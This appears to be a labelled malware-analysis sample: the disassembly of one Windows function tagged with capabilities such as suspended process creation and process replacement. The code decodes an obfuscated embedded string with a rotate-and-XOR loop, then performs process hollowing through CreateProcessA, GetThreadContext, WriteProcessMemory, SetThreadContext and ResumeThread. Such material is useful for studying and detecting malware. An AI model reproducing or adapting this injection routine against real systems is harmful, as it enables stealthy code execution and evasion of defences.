Function at 0x140001653
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
lea rdx, [rbp + 0x84]
lea rax, [rbp + 0x88]
mov rcx, rax
call fcn.14000155a
lea rax, [rbp + 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x10], 0x68
lea rax, [rbp - 0x10]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x9c], 0x79
jmp 0x14000172f
mov eax, dword [rbp + 0x9c]
cdqe
lea rdx, str.http:__M17HG4FzeJ69F5.f_vfquhvnv_fwdhud_vf_lpktud_lj_4_uk_Lpfwjvjcu_Rpkejrv_Tyehud_uw__v_uqpvpvuqdvuhwu___c.mobm.com
add rax, rdx
mov eax, dword [rax]
mov dword [rbp - 0x14], eax
mov dword [rbp + 0x98], 0
jmp 0x1400016fd
lea rax, [rbp - 0x14]
movzx eax, byte [rax]
lea edx, [rax - 0x50]
lea rax, [rbp - 0x14]
mov byte [rax], dl
mov eax, dword [rbp - 0x14]
ror eax, 8
mov dword [rbp - 0x14], eax
add dword [rbp + 0x98], 1
cmp dword [rbp + 0x98], 3
jle 0x1400016dd
mov eax, dword [rbp - 0x14]
xor eax, 0x7e7e7e7e
mov dword [rbp - 0x14], eax
mov eax, dword [rbp + 0x9c]
cdqe
lea rdx, str.http:__M17HG4FzeJ69F5.f_vfquhvnv_fwdhud_vf_lpktud_lj_4_uk_Lpfwjvjcu_Rpkejrv_Tyehud_uw__v_uqpvpvuqdvuhwu___c.mobm.com
add rdx, rax
mov eax, dword [rbp - 0x14]
mov dword [rdx], eax
add dword [rbp + 0x9c], 4
cmp dword [rbp + 0x9c], 0x7c
jle 0x1400016ba
mov byte [0x14000707d], 0
lea rax, [0x140007079]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x4d0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov dword [rax + 0x30], 0x10000b
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
sete al
test al, al
je 0x1400017f7
mov eax, 1
jmp 0x1400018d1
mov rcx, qword [rbp - 0x10]
mov eax, dword [rbp + 0x84]
mov r10d, eax
mov rax, qword [rbp + 0x88]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov edx, r10d
mov rcx, rax
call fcn.1400013b4
mov rax, qword [rbp + 0x90]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov rcx, rax
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
mov rax, qword [rbp - 0x20]
mov rdx, rax
mov rax, qword [rbp - 0x28]
add rdx, rax
mov rax, qword [rbp + 0x90]
mov qword [rax + 0x80], rdx
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x120
pop rbp
ret